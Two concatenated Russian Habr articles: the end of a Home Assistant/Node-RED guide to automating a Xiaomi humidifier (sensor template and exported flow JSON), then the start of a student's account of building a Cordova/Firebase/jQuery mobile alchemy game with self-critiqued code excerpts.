Спасибо Home Assistant за то, что до сих пор не способен сохранять время последнего состояния при перезагрузке (оно выставляется на время запуска HA), поэтому дальше мы проверяем, что Home Assistant был запущен больше чем 2 часа назад, и только если это правда, можем проверять, что осушение не работало 2 часа. В противном случае в течение первых 2х часов после запуска HA увлажнитель бы не включался. В данном случае получается, что в случае ошибок в логике, увлажнитель и осушитель могут посоревноваться, но только первые 2 часа после запуска.
Дальше просто несколько разных уровней влажности, ведущих к разным режимам работы увлажнителя, в зависимости от того, надо нам понижать скорость на ночь или нет.
Так же, днем посылается команда на включение экрана, а ночью на выключение. Можно было бы посылать ее и один раз, а не каждые 5 минут, но я не доверяю wi-fi устройствам, поэтому лишний раз никому не помешает.
При решении такой же задачи с увлажнителем, имеющим всего одну скорость, я бы просто сильнее уменьшил значения влажности для ночного режима, которые ведут к его включению.
### Усредненная влажность
Я так же использую переключатель для вариативности усредненной температуры и влажности. Она может как быть 24 часа в сутки средним между всеми комнатами (кроме ванной, естественно), так и быть средней только по датчикам спален. Таким образом, по желанию, можно на ночь автоматически переходить на поддержание нужного климата только в спальнях. Зачем остальное, если ночью вы спите?
**Ниже код этого датчика**
```
#Средняя влажность для термостата
#Днем равна средней влажности, ночью равна ей же, если helper "Ночью только спальни" выключен, и средней только по спальням, если включен
- platform: template
sensors:
average_humidity_for_thermostat:
friendly_name: Средняя влажность для термостата
unique_id: average_humidity_for_thermostat
unit_of_measurement: '%'
value_template: >-
{% if now().hour > 6 and now().hour < 23 %}
{{ states.sensor.average_humidity.state | float }}
{% elif is_state('input_boolean.night_only_bedrooms', 'on') %}
{{ states.sensor.average_humidity_bedrooms.state | float }}
{% else %}
{{ states.sensor.average_humidity.state | float }}
{% endif %}
```
**Код для импорта флоу ниже, не забываем изменить сервер на свой.**
```
[{"id":"68ec22673149800e","type":"tab","label":"Увлажнитель Xiaomi","disabled":false,"info":"","env":[]},{"id":"91824bf3c61443c3","type":"server-state-changed","z":"68ec22673149800e","name":"Влажность","server":"5e62137c.2011cc","version":4,"exposeToHomeAssistant":false,"haConfig":[{"property":"name","value":"Увлажнитель NodeRED"},{"property":"icon","value":"mdi:air-humidifier"}],"entityidfilter":"sensor.average_humidity_for_thermostat","entityidfiltertype":"exact","outputinitially":false,"state_type":"num","haltifstate":"","halt_if_type":"num","halt_if_compare":"gt","outputs":1,"output_only_on_state_change":false,"for":"0","forType":"num","forUnits":"minutes","ignorePrevStateNull":false,"ignorePrevStateUnknown":false,"ignorePrevStateUnavailable":false,"ignoreCurrentStateUnknown":false,"ignoreCurrentStateUnavailable":false,"outputProperties":[{"property":"payload.average","propertyType":"msg","value":"","valueType":"entityState"},{"property":"data","propertyType":"msg","value":"","valueType":"eventData"},{"property":"topic","propertyType":"msg","value":"","valueType":"triggerId"}],"x":90,"y":260,"wires":[["1eb433c439920317"]]},{"id":"1eb433c439920317","type":"delay","z":"68ec22673149800e","name":"1 msg/5min","pauseType":"rate","timeout":"3","timeoutUnits":"seconds","rate":"1","nbRateUnits":"5","rateUnits":"minute","randomFirst":"1","randomLast":"5","randomUnits":"seconds","drop":true,"allowrate":false,"outputs":1,"x":250,"y":260,"wires":[["3074a1a94ba7258b"]]},{"id":"db06adad25c72aa2","type":"api-current-state","z":"68ec22673149800e","name":"Кто-то есть дома","server":"5e62137c.2011cc","version":3,"outputs":2,"halt_if":"on","halt_if_type":"str","halt_if_compare":"is","entity_id":"input_boolean.somebody_home_manual_tracker","state_type":"str","blockInputOverrides":false,"outputProperties":[{"property":"payload","propertyType":"flow","value":"","valueType":"entityState"},{"property":"data","propertyType":"flow","value":"entity","valueType":"str"}],"for":"0","forType":"num","forUnits":"minutes","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":170,"y":400,"wires":[["8c2e8a7637abdf05"],["0fa985f35e2abb5e"]]},{"id":"3074a1a94ba7258b","type":"api-current-state","z":"68ec22673149800e","name":"Климат- контроль","server":"5e62137c.2011cc","version":3,"outputs":2,"halt_if":"on","halt_if_type":"str","halt_if_compare":"is","entity_id":"input_boolean.klimat_kontrol","state_type":"str","blockInputOverrides":false,"outputProperties":[{"property":"payload","propertyType":"flow","value":"","valueType":"entityState"},{"property":"data","propertyType":"flow","value":"entity","valueType":"str"}],"for":"0","forType":"num","forUnits":"minutes","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":590,"y":260,"wires":[["e81039862f45535e"],[]]},{"id":"e81039862f45535e","type":"api-current-state","z":"68ec22673149800e","name":"Гости (Климат)","server":"5e62137c.2011cc","version":3,"outputs":2,"halt_if":"on","halt_if_type":"str","halt_if_compare":"is","entity_id":"input_boolean.ignore_home_left_climate","state_type":"str","blockInputOverrides":false,"outputProperties":[{"property":"payload","propertyType":"flow","value":"","valueType":"entityState"},{"property":"data","propertyType":"flow","value":"entity","valueType":"str"}],"for":"0","forType":"num","forUnits":"minutes","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":160,"y":340,"wires":[["8c2e8a7637abdf05"],["db06adad25c72aa2"]]},{"id":"6c0a330b33d6ddb2","type":"api-call-service","z":"68ec22673149800e","name":"Выключить","server":"5e62137c.2011cc","version":5,"debugenabled":false,"domain":"humidifier","service":"turn_off","areaId":[],"deviceId":[],"entityId":["humidifier.humidifier"],"data":"","dataType":"json","mergeContext":"","mustacheAltTags":false,"outputProperties":[],"queue":"none","x":2290,"y":320,"wires":[[]]},{"id":"8c2e8a7637abdf05","type":"api-current-state","z":"68ec22673149800e","name":"Желаемая влажность","server":"5e62137c.2011cc","version":3,"outputs":1,"halt_if":"","halt_if_type":"num","halt_if_compare":"gt","entity_id":"input_number.my_humidity","state_type":"num","blockInputOverrides":false,"outputProperties":[{"property":"payload.wanted","propertyType":"msg","value":"","valueType":"entityState"},{"property":"data","propertyType":"msg","value":"","valueType":"entity"}],"for":"0","forType":"num","forUnits":"minutes","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":440,"y":340,"wires":[["738f2571791f69bc"]]},{"id":"401c8fd0f09637be","type":"comment","z":"68ec22673149800e","name":"Увлажнитель","info":"","x":650,"y":60,"wires":[]},{"id":"173f11867041d21c","type":"time-range-switch","z":"68ec22673149800e","name":"День/ Ночь ","lat":"41.6841132","lon":"44.8342294","startTime":"07:00","endTime":"23:00","startOffset":0,"endOffset":0,"x":1610,"y":320,"wires":[["5ae731bddaa065bb","c7773961c53227ce"],["398e732586a3c79d","8a3d49761fb92218"]]},{"id":"50efc825b7c78319","type":"api-call-service","z":"68ec22673149800e","name":"Включить","server":"5e62137c.2011cc","version":5,"debugenabled":false,"domain":"humidifier","service":"turn_on","areaId":[],"deviceId":[],"entityId":["humidifier.humidifier"],"data":"","dataType":"json","mergeContext":"","mustacheAltTags":false,"outputProperties":[],"queue":"none","x":1440,"y":320,"wires":[["173f11867041d21c"]]},{"id":"ce31ff684bfb26f2","type":"api-call-service","z":"68ec22673149800e","name":"Скорость 3","server":"5e62137c.2011cc","version":5,"debugenabled":false,"domain":"humidifier","service":"set_mode","areaId":[],"deviceId":[],"entityId":["humidifier.humidifier"],"data":"{\"mode\":\"High\"}","dataType":"json","mergeContext":"","mustacheAltTags":false,"outputProperties":[],"queue":"none","x":2290,"y":440,"wires":[[]]},{"id":"9d1e7707437f0b67","type":"api-call-service","z":"68ec22673149800e","name":"Скорость 1","server":"5e62137c.2011cc","version":5,"debugenabled":false,"domain":"humidifier","service":"set_mode","areaId":[],"deviceId":[],"entityId":["humidifier.humidifier"],"data":"{\"mode\":\"Low\"}","dataType":"json","mergeContext":"","mustacheAltTags":false,"outputProperties":[],"queue":"none","x":2290,"y":360,"wires":[[]]},{"id":"c7773961c53227ce","type":"switch","z":"68ec22673149800e","name":"Влажность в доме","property":"payload.average","propertyType":"msg","rules":[{"t":"gt","v":"(payload.wanted + 0.5)","vt":"jsonata"},{"t":"btwn","v":"(payload.wanted + 0.5)","vt":"jsonata","v2":"payload.wanted","v2t":"jsonata"},{"t":"btwn","v":"payload.wanted","vt":"jsonata","v2":"(payload.wanted - 2)","v2t":"jsonata"},{"t":"lt","v":"(payload.wanted - 2)","vt":"jsonata"}],"checkall":"false","repair":false,"outputs":4,"x":2050,"y":360,"wires":[["6c0a330b33d6ddb2"],["9d1e7707437f0b67"],["da9e25a9b001eb7a"],["ce31ff684bfb26f2"]]},{"id":"da9e25a9b001eb7a","type":"api-call-service","z":"68ec22673149800e","name":"Скорость 2","server":"5e62137c.2011cc","version":5,"debugenabled":false,"domain":"humidifier","service":"set_mode","areaId":[],"deviceId":[],"entityId":["humidifier.humidifier"],"data":"{\"mode\":\"Mid\"}","dataType":"json","mergeContext":"","mustacheAltTags":false,"outputProperties":[],"queue":"none","x":2290,"y":400,"wires":[[]]},{"id":"2f7dee7ccbc58e15","type":"switch","z":"68ec22673149800e","name":"Влажность в доме","property":"payload.average","propertyType":"msg","rules":[{"t":"gt","v":"(payload.wanted + 0.5)","vt":"jsonata"},{"t":"btwn","v":"(payload.wanted + 0.5)","vt":"jsonata","v2":"payload.wanted","v2t":"jsonata"},{"t":"lt","v":"payload.wanted","vt":"jsonata"}],"checkall":"false","repair":false,"outputs":3,"x":2050,"y":440,"wires":[["6c0a330b33d6ddb2"],["9d1e7707437f0b67"],["da9e25a9b001eb7a"]]},{"id":"d71a62e5056e4ac0","type":"api-current-state","z":"68ec22673149800e","name":"Средняя >= 30","server":"5e62137c.2011cc","version":3,"outputs":2,"halt_if":"30","halt_if_type":"num","halt_if_compare":"gte","entity_id":"sensor.average_humidity","state_type":"num","blockInputOverrides":false,"outputProperties":[],"for":"0","forType":"num","forUnits":"minutes","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":600,"y":500,"wires":[["6c0a330b33d6ddb2"],["d9a7fd566be1ac42"]]},{"id":"d9a7fd566be1ac42","type":"api-call-service","z":"68ec22673149800e","name":"Включить","server":"5e62137c.2011cc","version":5,"debugenabled":false,"domain":"humidifier","service":"turn_on","areaId":[],"deviceId":[],"entityId":["humidifier.humidifier"],"data":"","dataType":"json","mergeContext":"","mustacheAltTags":false,"outputProperties":[],"queue":"none","x":780,"y":520,"wires":[["ce31ff684bfb26f2"]]},{"id":"d846d7a4aa2ea459","type":"server-state-changed","z":"68ec22673149800e","name":"Возврат/ уход из дома","server":"5e62137c.2011cc","version":4,"exposeToHomeAssistant":false,"haConfig":[{"property":"name","value":""},{"property":"icon","value":""}],"entityidfilter":"input_boolean.somebody_home_manual_tracker","entityidfiltertype":"exact","outputinitially":false,"state_type":"str","haltifstate":"","halt_if_type":"str","halt_if_compare":"is","outputs":1,"output_only_on_state_change":true,"for":"0","forType":"num","forUnits":"minutes","ignorePrevStateNull":false,"ignorePrevStateUnknown":false,"ignorePrevStateUnavailable":false,"ignoreCurrentStateUnknown":false,"ignoreCurrentStateUnavailable":false,"outputProperties":[],"x":120,"y":220,"wires":[["90dd4e8d36a56458"]]},{"id":"8a3d49761fb92218","type":"api-current-state","z":"68ec22673149800e","name":"Понижать скорость","server":"5e62137c.2011cc","version":3,"outputs":2,"halt_if":"off","halt_if_type":"str","halt_if_compare":"is","entity_id":"input_boolean.ponizhat_skorost_uvlazhnitelia_osushitelia_na_noch","state_type":"str","blockInputOverrides":false,"outputProperties":[{"property":"payload","propertyType":"flow","value":"","valueType":"entityState"},{"property":"data","propertyType":"flow","value":"entity","valueType":"str"}],"for":"0","forType":"num","forUnits":"minutes","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":1820,"y":400,"wires":[["c7773961c53227ce"],["2f7dee7ccbc58e15"]]},{"id":"29297f63ccfac237","type":"server-state-changed","z":"68ec22673149800e","name":"Понижать скорость","server":"5e62137c.2011cc","version":4,"exposeToHomeAssistant":false,"haConfig":[{"property":"name","value":""},{"property":"icon","value":""}],"entityidfilter":"input_boolean.ponizhat_skorost_uvlazhnitelia_osushitelia_na_noch","entityidfiltertype":"exact","outputinitially":false,"state_type":"str","haltifstate":"","halt_if_type":"str","halt_if_compare":"is","outputs":1,"output_only_on_state_change":true,"for":"0","forType":"num","forUnits":"minutes","ignorePrevStateNull":false,"ignorePrevStateUnknown":false,"ignorePrevStateUnavailable":false,"ignoreCurrentStateUnknown":false,"ignoreCurrentStateUnavailable":false,"outputProperties":[],"x":120,"y":180,"wires":[["90dd4e8d36a56458"]]},{"id":"24811c2862ed04c6","type":"server-state-changed","z":"68ec22673149800e","name":"Желаемая влажность","server":"5e62137c.2011cc","version":4,"exposeToHomeAssistant":false,"haConfig":[{"property":"name","value":"Увлажнитель NodeRED"},{"property":"icon","value":"mdi:air-humidifier"}],"entityidfilter":"input_number.my_humidity","entityidfiltertype":"exact","outputinitially":false,"state_type":"num","haltifstate":"","halt_if_type":"num","halt_if_compare":"gt","outputs":1,"output_only_on_state_change":false,"for":"0","forType":"num","forUnits":"minutes","ignorePrevStateNull":false,"ignorePrevStateUnknown":false,"ignorePrevStateUnavailable":false,"ignoreCurrentStateUnknown":false,"ignoreCurrentStateUnavailable":false,"outputProperties":[],"x":120,"y":140,"wires":[["90dd4e8d36a56458"]]},{"id":"b1408b7b8046e186","type":"server-state-changed","z":"68ec22673149800e","name":"Климат- контроль","server":"5e62137c.2011cc","version":4,"exposeToHomeAssistant":false,"haConfig":[{"property":"name","value":"Увлажнитель NodeRED"},{"property":"icon","value":"mdi:air-humidifier"}],"entityidfilter":"input_boolean.klimat_kontrol","entityidfiltertype":"exact","outputinitially":false,"state_type":"str","haltifstate":"","halt_if_type":"str","halt_if_compare":"is","outputs":1,"output_only_on_state_change":false,"for":"0","forType":"num","forUnits":"minutes","ignorePrevStateNull":false,"ignorePrevStateUnknown":false,"ignorePrevStateUnavailable":false,"ignoreCurrentStateUnknown":false,"ignoreCurrentStateUnavailable":false,"outputProperties":[],"x":110,"y":100,"wires":[["90dd4e8d36a56458"]]},{"id":"16ebb9958033bcd2","type":"api-current-state","z":"68ec22673149800e","name":"Не работает осушение","server":"5e62137c.2011cc","version":3,"outputs":2,"halt_if":"dry","halt_if_type":"str","halt_if_compare":"is_not","entity_id":"climate.konditsioner","state_type":"str","blockInputOverrides":false,"outputProperties":[],"for":"","forType":"num","forUnits":"hours","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":1250,"y":360,"wires":[["50efc825b7c78319"],["6c0a330b33d6ddb2"]]},{"id":"90dd4e8d36a56458","type":"api-current-state","z":"68ec22673149800e","name":"Влажность","server":"5e62137c.2011cc","version":3,"outputs":1,"halt_if":"","halt_if_type":"str","halt_if_compare":"is","entity_id":"sensor.average_humidity_for_thermostat","state_type":"num","blockInputOverrides":false,"outputProperties":[{"property":"payload.average","propertyType":"msg","value":"","valueType":"entityState"},{"property":"data","propertyType":"msg","value":"","valueType":"entity"}],"for":"0","forType":"num","forUnits":"minutes","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":370,"y":140,"wires":[["3074a1a94ba7258b"]]},{"id":"738f2571791f69bc","type":"switch","z":"68ec22673149800e","name":"Средняя < желаемой + 0.5","property":"payload.average","propertyType":"msg","rules":[{"t":"lt","v":"(payload.wanted + 0.5)","vt":"jsonata"},{"t":"else"}],"checkall":"false","repair":false,"outputs":2,"x":560,"y":420,"wires":[["aec602bfba453410"],["6c0a330b33d6ddb2"]]},{"id":"5ae731bddaa065bb","type":"api-call-service","z":"68ec22673149800e","name":"Экран ВКЛ","server":"5e62137c.2011cc","version":5,"debugenabled":false,"domain":"select","service":"select_option","areaId":[],"deviceId":[],"entityId":["select.humidifier_led_brightness"],"data":"{\"option\":\"bright\"}","dataType":"json","mergeContext":"","mustacheAltTags":false,"outputProperties":[],"queue":"none","x":2290,"y":280,"wires":[[]]},{"id":"398e732586a3c79d","type":"api-call-service","z":"68ec22673149800e","name":"Экран ВЫКЛ","server":"5e62137c.2011cc","version":5,"debugenabled":false,"domain":"select","service":"select_option","areaId":[],"deviceId":[],"entityId":["select.humidifier_led_brightness"],"data":"{\"option\":\"off\"}","dataType":"json","mergeContext":"","mustacheAltTags":false,"outputProperties":[],"queue":"none","x":2290,"y":480,"wires":[[]]},{"id":"aec602bfba453410","type":"api-render-template","z":"68ec22673149800e","name":"HA запущен меньше 2х часов назад","server":"5e62137c.2011cc","version":0,"template":"{{(as_timestamp(now())-as_timestamp(states.sensor.last_boot_ha_beautiful.last_updated)) < 7200 }}","resultsLocation":"payload.time_since_start","resultsLocationType":"msg","templateLocation":"template","templateLocationType":"msg","x":850,"y":360,"wires":[["57e1059031cfaee7"]]},{"id":"57e1059031cfaee7","type":"switch","z":"68ec22673149800e","name":"Switch","property":"payload.time_since_start","propertyType":"msg","rules":[{"t":"eq","v":"True","vt":"str"},{"t":"eq","v":"False","vt":"str"}],"checkall":"false","repair":false,"outputs":2,"x":1070,"y":340,"wires":[["50efc825b7c78319"],["16ebb9958033bcd2"]]},{"id":"0fa985f35e2abb5e","type":"api-current-state","z":"68ec22673149800e","name":"Задержка","server":"5e62137c.2011cc","version":3,"outputs":2,"halt_if":"False","halt_if_type":"str","halt_if_compare":"is","entity_id":"sensor.time_has_come","state_type":"str","blockInputOverrides":false,"outputProperties":[],"for":"0","forType":"num","forUnits":"minutes","override_topic":false,"state_location":"payload","override_payload":"msg","entity_location":"data","override_data":"msg","x":350,"y":480,"wires":[["8c2e8a7637abdf05"],["d71a62e5056e4ac0"]]},{"id":"5e62137c.2011cc","type":"server","name":"Home Assistant","addon":true,"rejectUnauthorizedCerts":true,"ha_boolean":"","connectionDelay":false,"cacheJson":false,"heartbeat":false,"heartbeatInterval":"","statusSeparator":"","enableGlobalContextStore":false}]
```
Если кому-то придет идея с еще какими-то дополнительными ограничевающими параметрами, с удовольствием прочту в комментах, обсужу и добавлю себе :) | https://habr.com/ru/post/711710/ | null | ru | null |
# Мобильная игра на HTML, CSS, JavaScript, jQuery, Apache Cordova и Firebase. Как сделать красиво снаружи и плохо внутри
*В данной статье будет рассказана история разработки одной мобильной игры. Также будут освещены следующие вопросы:*
* *Стоит ли использовать jQuery?*
* *Стоит ли вообще разрабатывать мобильные игры на JS с нуля?*
Итак, прежде чем начать говорить о разработке, следует немного рассказать следующее:
* Как вообще появилась идея разработки мобильной игры?
* Почему были выбраны эти инструменты для разработки?
* Почему не стоит делать так же?
**С чего все началось?**
Учебный год в университете подходил к концу, студенты закрывали сессии и долги, а также думали о том, как бы пополнить портфолио и подать на стипендию. Я не был исключением и как раз смог устроиться в один международный проект. Работа заключалась в верстке сайта, переносе и настройке его под WordPress.
К сожалению, одного проекта было недостаточно и как раз проводился международный конкурс. Это был шанс получить ценный опыт и возможность занять призовое место. Номинации были в различных сферах: машинное обучение, 1С, мобильная разработка, Big Data и др. Из всех конкурсов был выбран конкурс «веб-дизайн». Необходимо было продумать и разработать два макета по заданным требованиям, один для мобильных устройств и один для десктопа. Мои товарищи и одногруппники выразили желание поучаствовать в конкурсе и вместе мы записались на конкурс «мобильная разработка». Сначала я пытался везде успеть, но, к сожалению, успеть везде было крайне сложно и в итоге было принято решение сделать упор на командном конкурсе по мобильной разработке. Команда была крайне ответственной и поэтому собраться и поработать не составляло проблем, однако возникла другая проблема: все мы работали с разными технологиями. В итоге у нас была команда из Java, Python и JS-разработчиков. Причем каждый из нас только постигал инструменты и был в состоянии поиска себя как программиста. Я бы сказал, что наш уровень был «Junior--» 😊.
На конкурс было отведено 4 недели, первую неделю мы занимались учебой и важными делами. Вторую неделю мы выбирали, что и как мы будем делать. Было много различных идей, но в итоге пришли к тому, что надо попробовать сделать мобильную игру. С учетом того, что в конкурсе участвовало 140 команд от 1 до 4 человек, было принято решение сделать упор на дизайн. Мы, люди, оцениваем в первую очередь внешний вид, причем как людей, так и всего остального. Я убежден в том, что о дизайне нужно заботиться в первую очередь. На теме дизайна и его влияния останавливаться не будем, возможно, на эту тему будет отдельная статья. Нужно было придумать, что наша команда будет разрабатывать, и тут я вспомнил, что хотел когда-то сделать игру про алхимию, где нужно собирать ингредиенты, убивать мобов, прокачивать персонажа и т.д. В старых файлах на компьютере нашлись кое-какие материалы по данной теме, иконки и некоторые наработки. Но их было слишком мало, и потому всю неделю мы занимались поиском иконок и материалов, которые можно было бы использовать, не покупая лицензий. В итоге собрали всяких продуктов, склянок, зелий и прочего.
Далее наша команда занялась проектированием и распределила задачи по важности:
Затем дорисовали ресурсы, сделали рамки и поделили их по качеству:
В итоге получилось 70+ зелий и 150+ ресурсов. Мы продумали для зелий схемы смешивания, после чего занялись интерфейсом. Особо опыта ни у кого не было, но мы постарались как могли, и в итоге был получен следующий дизайн:
**Выбор инструментов разработки**
Итак, пришло время обсудить инструменты для разработки. Изначально было много всяких вариантов – Gdevelop, Construct, PixiJS, PhaserJS и т.п. Оставалось всего две недели, мы посмотрели некоторые из вышеописанных библиотек и пришли к выводу, что разбираться с ними времени нет. Нам нужен был полный контроль и возможность реализовать всё так, как было в разработанном нами дизайне, потому придумывать ничего не стали и решили использовать старый добрый JavaScript. Приложение достаточно простое, поэтому мы решили сделать его в виде сайта, то есть использовать HTML и CSS для верстки, JS для написания логики, а также Apache Cordova для того, чтобы упаковать всё в apk-файл. С продукцией Apple никто особо знаком не был, потому лезть туда даже не стали. Также подключили Firebase для хранения данных пользователей и jQuery, чтобы было удобнее делать всякие всплывашки, переходы и т.п. В итоге стек был следующий:
* HTML, CSS – верстка;
* JavaScript – логика приложения;
* jQuery – придание интерактивности интерфейсу;
* Firebase – БД для хранения данных пользователя;
* Apache Cordova – система сборки итогового APK-файла.
**Стоит ли использовать jQuery?**
Для некоторых это, возможно, спорный вопрос, но для меня ответ очевиден: **нет, не стоит.** Конечно, если вы поддерживаете старый проект с jQuery, то, само собой, не стоит все переписывать на JS. Однако если вы разрабатываете проекты с нуля, то стоит задуматься об использовании нативного JS. Во-первых, вы будете больше практиковаться и чувствовать себя комфортнее, если вам нужно будет дорабатывать проекты на нативном JS, во-вторых, если jQuery «умрет», то с JS такое вряд ли случится, поэтому с навыками JS вы сможете при надобности быстро изучить любую библиотеку. Этот ответ может показаться очевидным, однако я до сих пор замечаю, как люди используют данную библиотеку, при этом отказываясь изучать JS. При этом изучать нужно в первую очередь именно JS, потому что все библиотеки написаны на нем, и если знать сам язык, то разобраться в новой для себя библиотеке никогда не составит труда.
**Процесс разработки**
Вот и добрались до разработки, в этом разделе будет показан программный код и почему (с точки зрения автора) он был написан именно так. На верстке и стилях останавливаться не будем и перейдем сразу к главному и единственному файлу с логикой игры. Прежде чем запускать весь код, необходимо было проверить, что устройство готово и Cordova полностью загрузилась. Для этого Apache Cordova предоставляет событие «deviceready»:
```
document.addEventListener("deviceready", function () { /* остальной код */ });
```
Далее в callback-функцию помещаем весь остальной код. Приложение использует Firebase и для его работы необходимо описать config со всеми данными. Также инициализируем локальное хранилище (Local Storage), в него будут помещаться все изменения, а при выходе из приложения будет осуществляться сохранение уже в базу данных, тем самым позволяя уменьшить количество запросов на сервер:
```
document.addEventListener("pause", saveGame, false);
var storage = window.localStorage;
var firebaseConfig = {
// подключение к firebase
}
firebase.initializeApp(firebaseConfig);
```
Как видно, при событии «pause» вызывается функция «saveGame». Данная функция отвечает за сохранение данных в Local Storage. Событие «pause» предоставляет Cordova, и срабатывает оно в момент сворачивания приложения, а точнее, когда приложения переходит в фоновый режим. Далее рассмотрим главный объект «gameState» со всеми параметрами:
```
let gameState = {
crystal: 0, // донатная валюта
money: 0, // основная валюта
currentStamina: 10, // текущая выносливость
maxStamina: 10, // максимальная выносливость
rechargeStaminaTime: 60, // время восстановления ед. выносливости
exitGameTime: Math.round(Date.now() / 1000), // время выхода из игры
inventorySize: 0, // текущая заполненность инвентаря
maxInventorySize: 20, // максимальное количество ячеек в инвентаре
inventory: [], // инвентарь
recipes: [], // открытиые рецепты зелий
recipesMax: 0, // максимальное количество рецептов
storeItems: [], // предметы в магазине
books: {
common: true, // книга зелий (обычная)
rare: false, // книга зелий (редкая)
mythical: false, // книга зелий (мифическая)
legendary: false, // книга зелий (легендарная)
},
booksDesc: [
// Описание и параметры книг
{
id: "rare-scroll",
name: "Редкий свиток",
cost: 2500,
category: ["rare", "редкое"],
isBuy: false,
},
{
id: "mythical-scroll",
name: "Превосходный свиток",
cost: 5000,
category: ["mythical", "превосходное"],
isBuy: false,
},
{
id: "legendary-scroll",
name: "Легендарный свиток",
cost: 7500,
category: ["legendary", "легендарное"],
isBuy: false,
},
],
search_area: [
// зоны поиска ресурсов и параметры затрат энергии и времени
{
id: "forest_area",
stamina: 1,
time: 15,
},
{
id: "grot_area",
stamina: 2,
time: 15,
},
{
id: "ruin_area",
stamina: 3,
time: 15,
},
],
chestPrice: {
// сундуки и стоимость
chestGold: 15,
chestCrystall: 1,
},
donat: [
// донатные предметы
{
id: "plus_item",
name: "Зелье выпадения вещей",
desc: "Увеличивает на 1 количество выпадаемых предметов (макс 3).",
count: 1, // бонус предмета
cost: 2, // стоимость
buyCount: 0, // количество купленных
},
{
id: "plus_percent",
name: "Зелье увеличения шанса",
desc: "Увеличивает шанс выпадения более редких предметов на 10% (макс 5)",
count: 0.1,
cost: 2,
buyCount: 0,
},
{
id: "plus_stamina",
name: "Зелье восстановления",
desc: "Восстанавливает 10 ед энергии",
count: 10,
cost: 2,
buyCount: 0,
},
{
id: "plus_inventory",
name: "Увеличение рюкзака",
desc: "Увеличивает вместимость инвентаря на 5 (макс увеличений 10)",
count: 5,
cost: 2,
costGold: 400,
buyCount: 0,
},
],
maxItemDrop: 2, // количество стака выпадаемых предметов
maxItemStack: 5, // количество максимальных стаков в инвентаре
itemDropCount: 2, // количество выпадаемых вещей
chestItemDrop: 1, // количество выпадаемых вещей из сундука
percentItemDrop: [
// параметры для рассчеты шансов выпадения вещей
{
name: "common",
dropChance: 0.65,
},
{
name: "rare",
dropChance: 0.15,
},
{
name: "mythical",
dropChance: 0.07,
},
{
name: "legendary",
dropChance: 0.005,
},
],
percentItemDropMulti: [
// множитель шанса для локации и сундуков
{
id: "forest_area",
multi: 1,
},
{
id: "grot_area",
multi: 1.3,
},
{
id: "ruin_area",
multi: 1.7,
},
{
id: "chestGold",
multi: 1.25,
},
{
id: "chestCrystall",
multi: 2,
},
]
}
```
Тут должно быть все более-менее понятно, а вот дальше уже пойдут страшные вещи.
Рассмотрим методы объекта «gameState». Честно говоря, я не помню логическую последовательность созданных методов 😊, поэтому пойдем сверху вниз.
Первый метод реализует **продажу предметов**:
```
sellItem(itemID, count) {
let elem = this.inventory.find((el) => el.id == itemID);
if (elem.count >= count) {
elem.count -= count;
this.money += elem.sell * count;
$(".money").find("span").text(this.money);
this.updateInventory();
}
}
```
Данный метод получает id предмета и его количество (подразумевается, что можно продать как 1 ед., так и всё сразу). В игре это выглядело следующим образом:
Далее достаем элемент из инвентаря и сравниваем его количество с переданным количеством на продажу, затем уменьшаем на переданное количество, прибавляем деньги, обновляем поле в HTML и вызываем метод обновления инвентаря.
Если с методом по «продаже» все понятно, то вот о методе «покупки» такого не скажешь:
```
buyItem(itemID, num) {
let fItem = itemPack[itemID];
let item = { ...fItem, count: num };
let elem = this.inventory.find((i) => i.id == item.id);
if (gameState.money >= item.buy) {
if (elem && this.inventorySize <= this.maxInventorySize) {
elem.count += item.count;
this.updateInventory();
if (this.inventorySize > this.maxInventorySize) {
elem.count -= item.count;
gameState.showMsg("Инвентарь полон!", "warning");
} else {
this.money -= item.buy * num;
$(".money").find("span").text(this.money);
gameState.showMsg("Товар добавлен в рюкзак!", "success");
if (elem.count % 5 == 0) {
$("#bag").append(`
${item.count}
`);
} else {
$("#bag")
.find("img")
.each(function (i, e) {
let key = e.src.split("/");
let k = key[key.length - 1].split(".")[0];
if (k == elem.id) {
$(this)
.parent()
.find("span")
.removeClass("hidden")
.text(elem.count);
}
});
}
}
} else if (this.inventorySize < this.maxInventorySize) {
this.inventory.push(item);
this.money -= item.buy * num;
$(".money").find("span").text(this.money);
$("#bag").append(`
${item.count}
`);
gameState.showMsg("Товар добавлен в рюкзак!", "suссess");
} else {
gameState.showMsg("Инвентарь полон!", "warning");
}
} else {
gameState.showMsg("Недостаточно средств!", "warning");
}
this.updateInventory();
}
```
Первое, что бросается в глаза внимательному читателю – а что за itemPack? На самом деле я тоже сначала не мог понять 😊. Как оказалось, на 934 строке была загрузка предметов из базы:
```
let itemPack = "";
let recMax = 0;
function loadItems() {
firebase
.database()
.ref("ingridients")
.once("value")
.then((snapshot) => {
itemPack = snapshot.val();
for (key in itemPack) {
itemPack[key].components ? recMax++ : "";
}
gameState.recipesMax = recMax;
});
}
loadItems();
```
Догадаться разделить зелья и ингредиенты по отдельным таблицам было невероятно сложно (сарказм 😊), и потому есть странный цикл, который подсчитывает, что из всего лежащего является зельем (если есть свойство components у элемента, то это зелье) Странно, никто даже не додумался ввести поле «тип» и дальше по нему определять тип предмета (ингредиент/зелье). Количество рецептов («recMax») мы подсчитывали для того, чтобы отобразить сколько всего зелий можно открыть:
Думаю, многие уже поняли, что так лучше не делать, к чему эти лишние циклы ведь можно просто вынести все элементы в отдельную таблицу и просто подсчитать сколько там элементов или добавить тип, по которому можно определить тот или иной элемент и т.д.
Вернемся к методу **«buyItem»**, с «fItem» все понятно: достаем элемент из общего массива предметов, далее создаем новый объект item с дополнительным свойством count для того, чтобы туда можно было записать количество предмета (они могут объединяться в пачку). Далее нужно найти элемент в инвентаре, чтобы объединить предметы в одну пачку, если предмет уже есть. Ух, перейдем к условиям:
1. В первом условии проверяем, хватает ли денег, и если не хватает, то показываем сообщение с ошибкой.
